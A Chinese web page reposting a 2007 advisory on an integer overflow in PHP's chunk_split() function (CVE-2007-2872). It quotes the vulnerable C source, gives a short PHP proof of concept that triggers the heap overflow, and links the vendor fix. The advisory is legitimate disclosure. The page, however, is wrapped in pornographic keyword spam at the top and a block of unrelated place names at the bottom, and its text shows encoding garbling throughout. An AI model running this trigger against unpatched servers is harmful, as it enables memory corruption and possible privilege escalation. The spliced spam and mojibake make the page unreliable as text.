最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

PHP5.2下chunk_split()函數(shù)整數(shù)溢出漏洞 分析

 更新時(shí)間:2007年06月06日 00:00:00   作者:  
受影響系統(tǒng):
PHP PHP < 5.2.3
不受影響系統(tǒng):
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一種流行的WEB服務(wù)器端編程語言。

PHP中的chunk_split函數(shù)在處理畸形參數(shù)時(shí)存在整數(shù)溢出漏洞,本地攻擊者可能利用此漏洞提升自己的權(quán)限。

PHP中chunk_split函數(shù)的1963行試圖為函數(shù)結(jié)果分配充分的內(nèi)存大小,但沒有執(zhí)行任何檢查便使用了srclen和chunklen參數(shù)塊。如果值的塊和endlen大于65534字節(jié)的話,就會(huì)觸發(fā)整數(shù)溢出,分配錯(cuò)誤的內(nèi)存大小,導(dǎo)致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }

<*來源:Gerhard Wagner

鏈接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

測(cè)試方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)!

<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建議:
--------------------------------------------------------------------------------
廠商補(bǔ)?。?br>
PHP
---
目前廠商已經(jīng)發(fā)布了升級(jí)補(bǔ)丁以修復(fù)這個(gè)安全問題,請(qǐng)到廠商的主頁下載:

http://www.php.net/downloads.php#v5

文章來自: 綠盟科技

相關(guān)文章

最新評(píng)論

阜城县| 浏阳市| 郓城县| 土默特右旗| 临潭县| 武义县| 天长市| 泰和县| 襄汾县| 航空| 四会市| 汶上县| 靖江市| 上虞市| 绥德县| 汉源县| 同江市| 宁都县| 宝鸡市| 仙居县| 湟源县| 莲花县| 通渭县| 河西区| 南通市| 监利县| 青海省| 苏州市| 收藏| 资源县| 罗山县| 健康| 大悟县| 祥云县| 高淳县| 白山市| 交口县| 黔西县| 霍州市| 襄城县| 斗六市|